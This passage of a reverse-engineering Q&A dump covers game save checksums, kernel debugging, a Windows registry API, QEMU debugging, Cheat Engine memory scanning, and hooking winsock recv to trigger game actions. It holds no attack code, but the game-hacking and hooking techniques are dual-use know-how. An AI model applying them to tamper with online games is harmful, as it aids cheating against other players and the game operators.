0000 0000&#xA;d98e c4f7 810d 0000 0000 0000 0000 0000&#xA;0000 0000 d2e7 39fa 0000 0000 00f0 653e&#xA;0000 0000 0000 0000 8b4c 4dfa 0200 0000&#xA;0000 0000 0000 0000 0000 0000 2ce8 62fc&#xA;0000 0000 0000 0000 3801 0000 0000 7843&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When 3 skill points have been spent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2c46 648e 0000 0000 0200 0000 0000 0000&#xA;0000 0000 c659 3c1d 0200 0000 0000 0000&#xA;0000 0000 c9dd 36e4 1004 0000 0000 0000&#xA;0400 0000 0000 0000 56a0 f406 01b4 b3fc&#xA;5501 1bba 9458 0167 fc24 c001 16a0 8e28&#xA;3200 0000 0000 0000 8e21 cd06 f800 0000&#xA;0000 0000 0000 0000 0000 0000 cec5 140b&#xA;1200 0000 0000 0000 0000 0000 0000 0000&#xA;9b9d dd24 0000 0000 3979 5543 0000 0000&#xA;0000 0000 9619 9429 0000 0000 0000 0000&#xA;0000 0000 0000 0000 67ce ba38 0300 0000&#xA;0000 0000 0000 0000 0000 0000 73ab 133f&#xA;0300 0000 0000 0000 0000 0000 0000 0000&#xA;c5cc 9a56 0200 0000 0000 0000 0000 0000&#xA;0000 0000 8d58 6967 0100 0000 0000 0000&#xA;0000 0000 0000 0000 f8f9 8f6d 0000 0000&#xA;0000 0000 0000 0000 0000 0000 7833 0270&#xA;2700 0000 0000 0000 0000 0000 0000 0000&#xA;2af7 d078 0000 0000 0000 0000 0000 0000&#xA;0000 0000 7ba6 447b 1400 0000 0000 0000&#xA;0000 0000 0000 0000 f9b9 ac7d 3900 0000&#xA;0000 0000 0000 0000 0000 0000 3ce1 ae8b&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;2414 b28c 0400 0000 0000 0000 0000 0000&#xA;0000 0000 90d7 ea90 0b00 0000 0000 0000&#xA;0000 0000 0000 0000 73b6 8d96 0200 0000&#xA;0000 0000 0000 0000 0000 0000 6845 fa9a&#xA;0700 0000 0000 0000 0000 0000 0000 0000&#xA;6462 3b9b 0000 0000 0000 0000 0000 0000&#xA;0000 0000 72e5 169e 0200 0000 0000 0000&#xA;0000 0000 0000 0000 072a 3ca5 0100 0000&#xA;0000 0000 0000 0000 0000 0000 e3d7 a9a7&#xA;0500 0000 0000 0000 0000 0000 0000 0000&#xA;ff3b 0fb4 0000 0000 0000 0000 0000 0000&#xA;0000 0000 24d3 0abd 5500 0000 0000 0000&#xA;0000 0000 0000 0000 9fc9 3ebd 0f00 0000&#xA;0000 0000 0000 0000 0000 0000 eb83 27be&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;3b29 19bf 0b00 0000 0000 0000 0000 0000&#xA;0000 0000 b2ee 32c4 0000 0000 0000 0000&#xA;0000 0000 0000 0000 8c86 48cd 0100 0000&#xA;0000 0000 0000 0000 0000 0000 4c04 35ce&#xA;0000 0000 0000 0000 0e01 0000 0000 5c43&#xA;f5a1 3dce 0000 0000 0000 0000 2a00 0000&#xA;0000 e041 176c 03d0 0000 0000 0000 0000&#xA;0000 0000 0000 0000 b520 dfd5 0000 0000&#xA;0000 0000 0000 0000 0000 0000 82aa 10da&#xA;4000 0000 0000 0000 0000 0000 0000 0000&#xA;0f87 a7da 0000 0000 00f0 653e 0000 0000&#xA;0000 0000 560f fcda 0000 0000 0000 0000&#xA;0000 0000 0000 0000 9180 d8db 9792 0000&#xA;0000 0000 0000 0000 0000 0000 c6af cede&#xA;0000 0000 9ab0 3048 0000 0000 0000 0000&#xA;af6c b4e2 0500 0000 0000 0000 0000 0000&#xA;0000 0000 6b8f 98e8 1300 0000 0000 0000&#xA;0000 0000 0000 0000 584c 25e9 0200 0000&#xA;0000 0000 0000 0000 0000 0000 e52a 5ee9&#xA;0000 0000 6e52 3a48 0000 0000 0000 0000&#xA;59cb e7ea 0500 0000 0000 0000 0000 0000&#xA;0000 0000 37dd edeb 0700 0000 0000 0000&#xA;0000 0000 0000 0000 3936 b7f1 3d01 0000&#xA;0000 0000 0000 0000 0000 0000 8187 69f3&#xA;0300 0000 0000 0000 0000 0000 0000 0000&#xA;d98e c4f7 810d 0000 0000 0000 0000 0000&#xA;0000 0000 d2e7 39fa 0000 0000 00f0 653e&#xA;0000 0000 0000 0000 8b4c 4dfa 0200 0000&#xA;0000 0000 0000 0000 0000 0000 2ce8 62fc&#xA;0000 0000 0000 0000 3801 0000 0000 7843&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CRC         skill_points&#xA;ecd3 7c2f              0&#xA;...&#xA;7642 cf4c              4&#xA;a310 c21b              5&#xA;c99c 268f              6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21389" LastActivityDate="2017-08-29T14:18:51.583" Title="Find out the checksum/crc/whatever is used in this file" Tags="|crc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16208" PostTypeId="2" ParentId="16202" CreationDate="2017-08-28T20:25:41.927" Score="1" Body="&lt;p&gt;This is more of a &lt;a href=&quot;https://superuser.com/&quot;&gt;SuperUser&lt;/a&gt; question, but if you can boot from CD and edit the registry the following options come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;boot into a WinPE environment, hopefully it will be enough to run the dumper&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find where the game is started and disable it; this should allow you to run the dumper unimpeded&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;figure out if the dumper has commandline options for automatic dumping and use them to dump without the UI&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use something like AutoIt to manipulate Dumper's UI to perform its work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-28T20:25:41.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16209" PostTypeId="1" AcceptedAnswerId="16213" CreationDate="2017-08-29T00:50:02.310" Score="3" ViewCount="1918" Body="&lt;p&gt;I am trying to do windows kernel debugging with VirtualBox and WinDBG. But every time I hit a breakpoint the virtual machine CPU usage skyrockets and the CPU registers do not show up in WinDBG. Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;code&gt;boot.ini&lt;/code&gt; I set &lt;code&gt;/debugport=COM1 /baudrate=115200&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;In VirtualBox I forwarded &lt;code&gt;COM1&lt;/code&gt; to a named pipe &lt;code&gt;\\.\pipe\debug&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;In WinDBG File &gt; &lt;code&gt;Kernel Debug...&lt;/code&gt; &gt; &lt;code&gt;COM&lt;/code&gt; tab: Ticked the &quot;Pipe&quot; check box, and for the &lt;code&gt;Port = \\\\.\pipe\debug&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In WinDBG the debug session is found, and I can hit breakpoints, I can step through code, I can see the disassembled code in the &quot;Disassembly window&quot;, and I can view memory locations in the &quot;Memory window&quot;. But nothing shows up in WinDBG &quot;Registers window&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Host OS is Windows 10 and for the Virtual Guest OS i tried both Windows XP and Windows 7 both have the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am really not sure where to look for answers to this issue, could anyone point me in the right direction ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone else having this issue or trying to learn kernel debugging i used parts from the following tutorials to get to where I am so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.virtualbox.org/wiki/Windows_Kernel_Debugging&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Kernel Debugging Tips&lt;/a&gt; (Virtualbox documentation);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.welivesecurity.com/2017/03/27/configure-windbg-kernel-debugging/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to configure WinDbg for kernel debugging&lt;/a&gt; (blogpost).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21393" LastEditorUserId="53" LastEditDate="2017-08-29T11:45:56.620" LastActivityDate="2017-08-29T11:45:56.620" Title="Slow kernel dbg with VirtualBox and WinDBG" Tags="|debugging|windbg|virtual-machines|kernel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16210" PostTypeId="1" CreationDate="2017-08-29T01:18:59.900" Score="1" ViewCount="1074" Body="&lt;p&gt;ProcMon lists &lt;code&gt;RegSetInfoKey&lt;/code&gt; as an &quot;operation&quot; on the registry. Process Monitor operations do not necessarily map directly to Native symbols, however, &lt;a href=&quot;https://www.reddit.com/r/learnprogramming/comments/2c0w1f/registrywhat_does_regsetinfokey_do/&quot; rel=&quot;nofollow noreferrer&quot;&gt;it seems&lt;/a&gt; that this operation uses &lt;a href=&quot;https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FKey%2FNtSetInformationKey.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;NtSetInformationKey&lt;/a&gt;. When we examine that function though, we see that it has a parameter: &lt;code&gt;IN KEY_SET_INFORMATION_CLASS InformationClass&lt;/code&gt;. Finally, undocumented.ntinternals.net states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Currently only KEY_WRITE_TIME_INFORMATION is supported.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When we look up &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff554226(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;KEY_WRITE_TIME_INFORMATION&lt;/a&gt;, the definition is just a simple data structure which stores the last write time to the registry key. So the question then becomes, when ProcMon displays a last write time, but no RegSetKey or other write occurs, what is the purpose for setting this value and is a simple write to this member what is actually occurring?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-08-29T07:24:01.090" Title="What does NtSetInformationKey do in the Windows Native API?" Tags="|windows|" AnswerCount="1" CommentCount="1" ClosedDate="2017-08-29T08:07:09.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="16211" PostTypeId="2" ParentId="16210" CreationDate="2017-08-29T07:24:01.090" Score="1" Body="&lt;p&gt;As simple as it may sounds - calling &lt;code&gt;NtSetInformationKey&lt;/code&gt; with the class &lt;code&gt;KEY_WRITE_TIME_INFORMATION&lt;/code&gt; is simply used to modify the time a key was last modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason depends of context, but I can guess a couple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A malware wants to make sure a user investigating that registry will think it was there since a different time (either it was always there to make it look benign or it was just written to make a detected infection seem very new).&lt;/li&gt;&#xA;&lt;li&gt;A program uses the time as a &quot;last update&quot;, and occasionally needs to modify it manually to fit some business logic.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should use your imagination or whatever else you know about the program you're investigating to make up other reasons, it's fun! :D&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-08-29T07:24:01.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16212" PostTypeId="2" ParentId="16209" CreationDate="2017-08-29T08:02:47.550" Score="3" Body="&lt;p&gt;You should try &lt;a href=&quot;http://virtualkd.sysprogs.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualKD&lt;/a&gt; which uses a &lt;a href=&quot;http://virtualkd.sysprogs.org/dox/operation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;fast VM-specific mechanism to communicate with the debugger&lt;/a&gt; instead of slow serial port emulation. Another option could be Ethernet or USB-based debugging but I'm not sure how to set it up with VMs...&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-29T08:02:47.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16213" PostTypeId="2" ParentId="16209" CreationDate="2017-08-29T10:19:33.587" Score="2" Body="&lt;p&gt;Fixed the issue this was a two part problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Avast anti virus was slowing down the VM to a crawl&#xA;solution uninstall avast or in some cases DISABLE the option: Settings &gt; Troubleshooting &gt; &quot;Enable hardware assisted visualization&quot;&lt;/li&gt;&#xA;&lt;li&gt;There is a bug in newer versions of WinDBG when debugging older versions of windows&#xA;solution use an older version of WinDBG, or use the WinDBG command &quot;r&quot; to view the cpu registers rather than using the &quot;Registers window&quot;, or use a WinDBG plugin to fix the issue&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/35961246/windbg-not-showing-register-values&quot;&gt;https://stackoverflow.com/questions/35961246/windbg-not-showing-register-values&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21393" LastActivityDate="2017-08-29T10:19:33.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16214" PostTypeId="2" ParentId="8829" CreationDate="2017-08-29T12:28:29.680" Score="2" Body="&lt;p&gt;&lt;strong&gt;&lt;code&gt;qemu-system-mips&lt;/code&gt; full system emulation with Buildroot&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method simulate the entire MIPS CPU and can overcome limitations mentioned with userland emulation at: &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8917/12321&quot;&gt;https://reverseengineering.stackexchange.com/a/8917/12321&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script fullys automate everything that is automatable for you: &lt;a href=&quot;https://github.com/cirosantilli/linux-kernel-module-cheat/tree/1d197f35ee177c6ab3e6a2f518292b8dc4e53431#gdbserver&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cirosantilli/linux-kernel-module-cheat/tree/1d197f35ee177c6ab3e6a2f518292b8dc4e53431#gdbserver&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buildroot downloads and compiles the entire target filesystem for us, uncluding &lt;code&gt;gdbserver&lt;/code&gt;, and also the host QEMU and &lt;code&gt;gdb&lt;/code&gt;. Major steps covered below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;only&quot; things that are now left now are to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cross compile / install all libraries at the correct version for the executable. stdlib is already cross compiled, but you can still have version mismatch problems with it...&lt;/li&gt;&#xA;&lt;li&gt;ensure that the dynamic loader is configured correctly. TODO: does Buildroot support customizing it, or can it be patched on the executable itself?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to ensure that you are able to run the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But note that those steps are also required for the userland method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major steps done by my script are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;code&gt;gdbserver&lt;/code&gt; for on the Buildroot configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BR2_DEBUG_3=y&#xA;BR2_ENABLE_DEBUG=y&#xA;BR2_OPTIMIZE_0=y&#xA;BR2_PACKAGE_GDB=y&#xA;BR2_PTHREAD_DEBUG=y&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;BR2_ROOTFS_OVERLAY&lt;/code&gt; on the Buildroot configuration to place the executable in the filesystem.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Forward a host port to the QEMU target with the command line options (here &lt;code&gt;45455&lt;/code&gt; to &lt;code&gt;45455&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-net user,hostfwd=tcp::45455-:45455&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch &lt;code&gt;gdbserver&lt;/code&gt; on target:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdbserver :45455 myexec&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Launch the cross compiled GDB from host and point it to the cross compiled executable and the forwarded port:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;buildroot/output/host/usr/bin/mips64-linux-gdb \&#xA;  -ex 'target remote localhost:45455' \&#xA;  -ex 'tb main' \&#xA;  -ex 'c' \&#xA;  buildroot/output/build/mypackage-1.0.0/myexec&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Minimal working user mode example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quicker and dirtier alternative to full system, you might get away with user mode as described in detail at: &lt;a href=&quot;https://stackoverflow.com/questions/20590155/how-to-single-step-arm-assembly-in-gdb-on-qemu/51310791#51310791&quot;&gt;https://stackoverflow.com/questions/20590155/how-to-single-step-arm-assembly-in-gdb-on-qemu/51310791#51310791&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12321" LastEditorUserId="12321" LastEditDate="2018-10-19T17:17:26.077" LastActivityDate="2018-10-19T17:17:26.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16215" PostTypeId="2" ParentId="16206" CreationDate="2017-08-29T14:18:51.583" Score="2" Body="&lt;p&gt;There are many ways to go about solving this, but here's how I might approach it based on a common workflow of mine for hacking games (you could say I'm the resident game-hacker around here). Before delving into it, I'll first suggest you opening the game via your debugger of choice, setting a breakpoint on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa364232(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;File Management functions&lt;/a&gt; of interest, then seeing if it pops when reading that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That aside, I'd say to download, install (beware the additional &quot;offers&quot;), then open the game process with &lt;a href=&quot;https://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the game loads that file into memory, you should be able to do an AOB scan to find it. Choose &lt;em&gt;Array of byte&lt;/em&gt; from the &lt;em&gt;Value Type&lt;/em&gt; select box, make sure the &lt;em&gt;Hex&lt;/em&gt; checkbox is checked, then paste a string of bytes from that file into the search box. Using your example above, let's use the following selection from the 3 skill point bytes: &lt;strong&gt;2C 46 64 8E 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 C6 59 3C 1D&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, under &lt;em&gt;Memory Scan Options&lt;/em&gt;, make sure the &lt;em&gt;Writable&lt;/em&gt; checkbox has the black box in it (it's a third state, not checked or unchecked). This will scan both read/write memory. Then click the &lt;em&gt;First Scan&lt;/em&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see results appear in the results list on the left. If you have more than one, then you either need to add more bytes to your search so as to make it more unique, or you'll need to figure out which of those results is the one that's written to once changes occur. There could be multiple positives, too; you'll just have to dig in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, now you have a couple of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you can double-click on any of the results from the results list and that address will move down to your address list. Then, right-click on any of those addresses in your address list and choose &quot;Find out what writes to this address&quot;. From the resulting window that shows you instructions writing to that address, you can click on an instruction, then click the &lt;em&gt;Show disassembler&lt;/em&gt; button. That will take you to that instruction within its respective routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then right-click on the instruction in the disassembler and set a break-and-trace. Within the results of that break-and-trace, you should you should find the routine(s) related to what's writing those values. It may not be obvious, so this is where it'll be handy for you to know Assembly and debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To note, you could also find what accesses the values by instead choosing &lt;em&gt;Find out what accesses this address&lt;/em&gt;. That will show you instructions that both read and write to a memory address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second option is to right-click on any result in your results list or any address you added to your address list, then choose &lt;em&gt;Browse this memory region&lt;/em&gt;. That will open that memory location in the &lt;em&gt;Memory Viewer&lt;/em&gt;. The top part of the &lt;em&gt;Memory Viewer&lt;/em&gt; is the disassembler (which you've seen already if you followed the first step). The bottom half is where you view bytes inside of memory addresses. There, you can right-click on a byte, hover over &lt;em&gt;Data Breakpoint&lt;/em&gt;, then choose the type of breakpoint you'd like to set and proceed accordingly!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-08-29T14:18:51.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16216" PostTypeId="2" ParentId="16198" CreationDate="2017-08-29T15:12:35.167" Score="2" Body="&lt;p&gt;See my answer to &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15893/20928&quot;&gt;this question&lt;/a&gt;. There, I note two primary forums dedicated to reversing file formats: &lt;a href=&quot;http://forum.xentax.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XeNTaX&lt;/a&gt; and &lt;a href=&quot;http://zenhax.com/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZenHAX&lt;/a&gt;. If there aren't already .DIG scripts therein, you can sign up and inquire in the appropriate forum on each site, respectively. You can also try Googling for something like &lt;em&gt;&lt;a href=&quot;https://www.google.com/search?q=QuickBMS%20.DIG%20PS2&amp;amp;rlz=1C1CHZL_enUS745US745&amp;amp;oq=QuickBMS%20.DIG%20PS2&amp;amp;aqs=chrome..69i57.8695j0j8&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&quot; rel=&quot;nofollow noreferrer&quot;&gt;QuickBMS .DIG PS2&lt;/a&gt;&lt;/em&gt; or &lt;em&gt;&lt;a href=&quot;https://www.google.com/search?rlz=1C1CHZL_enUS745US745&amp;amp;q=MultiEx%20.DIG%20PS2&amp;amp;oq=MultiEx%20.DIG%20PS2&amp;amp;gs_l=psy-ab.3...22710.23742.0.23885.7.7.0.0.0.0.60.364.7.7.0....0...1.1.64.psy-ab..0.0.0.87a4wTARdMw&quot; rel=&quot;nofollow noreferrer&quot;&gt;MultiEx .DIG PS2&lt;/a&gt;&lt;/em&gt; (QuickBMS and MultiEx are scripting tools supported via the ZenHAX and XeNTaX forums). In doing so myself, &lt;a href=&quot;http://zenhax.com/viewtopic.php?t=2675&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://forum.xentax.com/viewtopic.php?f=10&amp;amp;t=10998&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; are results you may find of interest.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-08-29T15:12:35.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16217" PostTypeId="2" ParentId="16182" CreationDate="2017-08-29T18:01:28.240" Score="2" Body="&lt;p&gt;Yeah, this one's kind of funky. I'm not sure if what precedes the IDAT chunk is partially junk data, a compressed/encrypted header of some sort, or what. They both have what appears to be magic of their own (41 6E 74 6D 02), of which I looked around for as bytes and text (&lt;em&gt;Antm&lt;/em&gt;, but I settled on &lt;em&gt;Ant&lt;/em&gt;). I came across &lt;strong&gt;&lt;a href=&quot;http://ant.apache.org/antlibs/compress/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/strong&gt;, but I think it's just coincidental.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a few things like replacing all the bytes preceding the IDAT with bytes from a handful of other PNGs (which included other requisite chunks related to resolution, etc.). I can see results by doing that, but the image dimensions, color, etc. are off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to rebuild the header yourself doing similar playing around. Are there PNGs from the file that you know are the same size? You could try swapping those bytes like I tried with random PNGs here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also have some luck loading those in GIMP as raw image data. Scroll down to the &lt;strong&gt;RAW Image Data&lt;/strong&gt; section in &lt;strong&gt;&lt;a href=&quot;https://w00tsec.blogspot.com/2015/02/extracting-raw-pictures-from-memory.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt;&lt;/strong&gt; and see how you fair in playing with the width and height sliders. You may need to use a good header from another PNG for those files, which will likely give you the wrong width/height, but you could adjust those with the sliders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on what you find there, you could try rebuilding the header using other &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format&quot; rel=&quot;nofollow noreferrer&quot;&gt;documented chunks&lt;/a&gt;&lt;/strong&gt; from the PNG format--perhaps starting with the &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Network_Graphics#Critical_chunks&quot; rel=&quot;nofollow noreferrer&quot;&gt;critical chunks&lt;/a&gt;&lt;/strong&gt; (2 of which you already have in these files).&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-08-29T18:08:58.167" LastActivityDate="2017-08-29T18:08:58.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16218" PostTypeId="1" AcceptedAnswerId="16220" CreationDate="2017-08-30T03:17:33.920" Score="0" ViewCount="1340" Body="&lt;p&gt;How can you call a game function inside a function hook? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I hooked the recv function of winsock. Then, I examined a packet. This packet has the value of my current hp. I check the hp. If it's lower than the constant hp threshold I will call a game function that uses an item to heal my hp.&#xA;Is it possible to call that game function without crashing the application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried and watch the execution in the debugger it's calling the game function of use item. However, it crashes the application. I think it's probably because of registers? The stack is fine btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering why I when calling the send function of winsock inside the recv function does not crash. But when I call a game function other than send it crashes. Is it because i'm in a different module? or You can't call a function in a different module? But I followed the execution in the debugger and when the call to use item is executed it really goes to that function. Help me please.&lt;/p&gt;&#xA;" OwnerUserId="21159" LastEditorUserId="2959" LastEditDate="2020-05-07T11:14:56.177" LastActivityDate="2020-05-07T11:14:56.177" Title="Calling a function of a game inside a function hook" Tags="|ida|disassembly|windows|c++|function-hooking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16220" PostTypeId="2" ParentId="16218" CreationDate="2017-08-30T09:10:14.437" Score="3" Body="&lt;p&gt;The problem is that the game's functions are usually expected to be called only in certain circumstances. If you're calling a function at a time when it's not prepared for it, the game's state may be wrong and you may get crashes or other unexpected behavior. For example, in normal code flow the caller prepares some objects before calling the function, but you don't do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's difficult to tell the exact reason with such limited info, but I suggest you to trace the function's execution in normal game flow versus when you call it from the hook and see where they diverge; maybe you can figure out how to fix it to behave the same way.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-08-30T09:10:14.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16221" PostTypeId="2" ParentId="16218" CreationDate="2017-08-30T11:06:34.983" Score="3" Body="&lt;p&gt;In addition to Igor's answer I would like to suggest an alternative approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the function you're trying to call indeed expects some additional preparations, specific conditions for global game state variables, etc. It might be easier for you to just reverse engineer the function you're trying to call and implement the modification and state changes you desire yourself. This might be as easy as figuring out your character structure's memory location and modifying the health parameter with your own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other point to consider is that it might happen to be that the state and condition requirements set by the function you're trying to call might be more complex than just passing along the right parameters. It could expect global variables to be initialized which might only happen in later stages of the game, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you might have a bug related to the way you process the received message and have hidden assumptions about the state of the game while these messages arrive. Writing careful code that validates the expected conditions might both help you diagnose the issue at hand as well as remediate it by avoiding the call in faulty circumstances.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-08-30T11:06:34.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
